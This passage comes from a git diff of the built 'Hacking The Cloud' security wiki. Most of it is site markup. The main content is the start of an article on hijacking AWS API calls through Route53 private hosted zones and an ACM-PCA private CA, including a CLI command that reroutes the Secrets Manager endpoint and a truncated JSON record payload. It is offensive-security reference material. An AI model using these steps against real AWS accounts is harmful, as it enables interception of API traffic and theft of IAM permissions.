md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Patryk Bogusz</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/route53_modification_privilege_escalation.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=aws-api-call-hijacking-via-acm-pca>AWS API Call Hijacking via ACM-PCA<a class=headerlink href=#aws-api-call-hijacking-via-acm-pca title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm0 6c1.4 0 2.8 1.1 2.8 2.5V11c.6 0 1.2.6 1.2 1.3v3.5c0 .6-.6 1.2-1.3 1.2H9.2c-.6 0-1.2-.6-1.2-1.3v-3.5c0-.6.6-1.2 1.2-1.2V9.5C9.2 8.1 10.6 7 12 7m0 1.2c-.8 0-1.5.5-1.5 1.3V11h3V9.5c0-.8-.7-1.3-1.5-1.3"/></svg></span> <strong>Required IAM Permissions</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/route53/create-hosted-zone.html>route53:CreateHostedZone</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/route53/change-resource-record-sets.html>route53:ChangeResourceRecordSets</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/acm-pca/issue-certificate.html>acm-pca:IssueCertificate</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/acm-pca/get-certificate.html>acm-pca:GetCertificate</a></li> </ul> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 20v2.97h-2V20h-3v-2h3v-3h2v3h3v2zM12 1l9 4v6c0 .9-.1 1.78-.29 2.65A5.8 5.8 0 0 0 18 13a6 6 0 0 0-6 6c0 1.36.45 2.62 1.22 3.62L12 23c-5.16-1.26-9-6.45-9-12V5z"/></svg></span> <strong>Recommended but not Required IAM Permissions</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/route53/get-hosted-zone.html>route53:GetHostedZone</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/route53/list-hosted-zones.html>route53:ListHostedZones</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/acm-pca/list-certificate-authorities.html>acm-pca:ListCertificateAuthorities</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/describe-vpcs.html>ec2:DescribeVpcs</a></li> </ul> </li> </ul> </div> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><a href=https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/ >Hijacking AWS API calls</a> by <a href=https://twitter.com/niebardzo2>niebardzo</a></p> </li> </ul> </div> <div class="admonition note"> <p class=admonition-title>Note</p> <p>To perform this attack the target account must already have an <a href=https://aws.amazon.com/certificate-manager/private-certificate-authority/ >AWS Certificate Manager Private Certificate Authority</a> (AWS-PCA) setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic.</p> </div> <p>Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. If ACM-PCA is used for that and the adversary manages to get access to control both route53 and acm-pca private CA with the minimum set of permissions described above, it can hijack the application calls to AWS API taking over their IAM permissions.</p> <p>This is possible because: </p> <ul> <li>AWS SDKs do not have <a href=https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning>Certificate Pinning</a></li> <li>Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names</li> <li>Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names</li> </ul> <p>For example, Secrets Manager in us-east-1 could be re-routed by an adversary setting the secretsmanager.us-east-1.amazonaws.com domain to an IP controlled by the adversary. The following creates the private hosted zone for secretsmanager.us-east-1.amazonaws.com: <div class=highlight><pre><span></span><code>aws route53 create-hosted-zone --name secretsmanager.us-east-1.amazonaws.com --caller-reference sm4 --hosted-zone-config PrivateZone=true --vpc VPCRegion=us-east-1,VPCId=&lt;VPCId&gt;
 </code></pre></div></p> <p>Then set the A record for secretsmanager.us-east-1.amazonaws.com in this private hosted zone. Use the following POST body payload - mitm.json:</p> <div class=highlight><pre><span></span><code>{
   &quot;Comment&quot;: &quot;&lt;anything&gt;&quot;,
   &quot;Changes&quot;: [{
diff --git a/aws/exploitation/s3-bucket-replication-exfiltration/index.html b/aws/exploitation/s3-bucket-replication-exfiltration/index.html
index aac16ed98..fbb2e323b 100644
--- a/aws/exploitation/s3-bucket-replication-exfiltration/index.html
+++ b/aws/exploitation/s3-bucket-replication-exfiltration/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Backdooring S3 buckets with Bucket Replication Policies."><link href=https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ rel=canonical><link href=../route53_modification_privilege_escalation/ rel=prev><link href=../s3_server_access_logs/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Exfiltrating S3 Data with Bucket Replication Policies - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Exfiltrating S3 Data with Bucket Replication Policies - Hacking The Cloud"><meta property=og:description content="Backdooring S3 buckets with Bucket Replication Policies."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/s3-bucket-replication-exfiltration.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Exfiltrating S3 Data with Bucket Replication Policies - Hacking The Cloud"><meta property=twitter:description content="Backdooring S3 buckets with Bucket Replication Policies."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/s3-bucket-replication-exfiltration.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Backdooring S3 buckets with Bucket Replication Policies."><link href=https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ rel=canonical><link href=../route53_modification_privilege_escalation/ rel=prev><link href=../s3_server_access_logs/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Exfiltrating S3 Data with Bucket Replication Policies - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Exfiltrating S3 Data with Bucket Replication Policies - Hacking The Cloud"><meta property=og:description content="Backdooring S3 buckets with Bucket Replication Policies."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/s3-bucket-replication-exfiltration.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Exfiltrating S3 Data with Bucket Replication Policies - Hacking The Cloud"><meta property=twitter:description content="Backdooring S3 buckets with Bucket Replication Policies."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/s3-bucket-replication-exfiltration.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#introduction class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 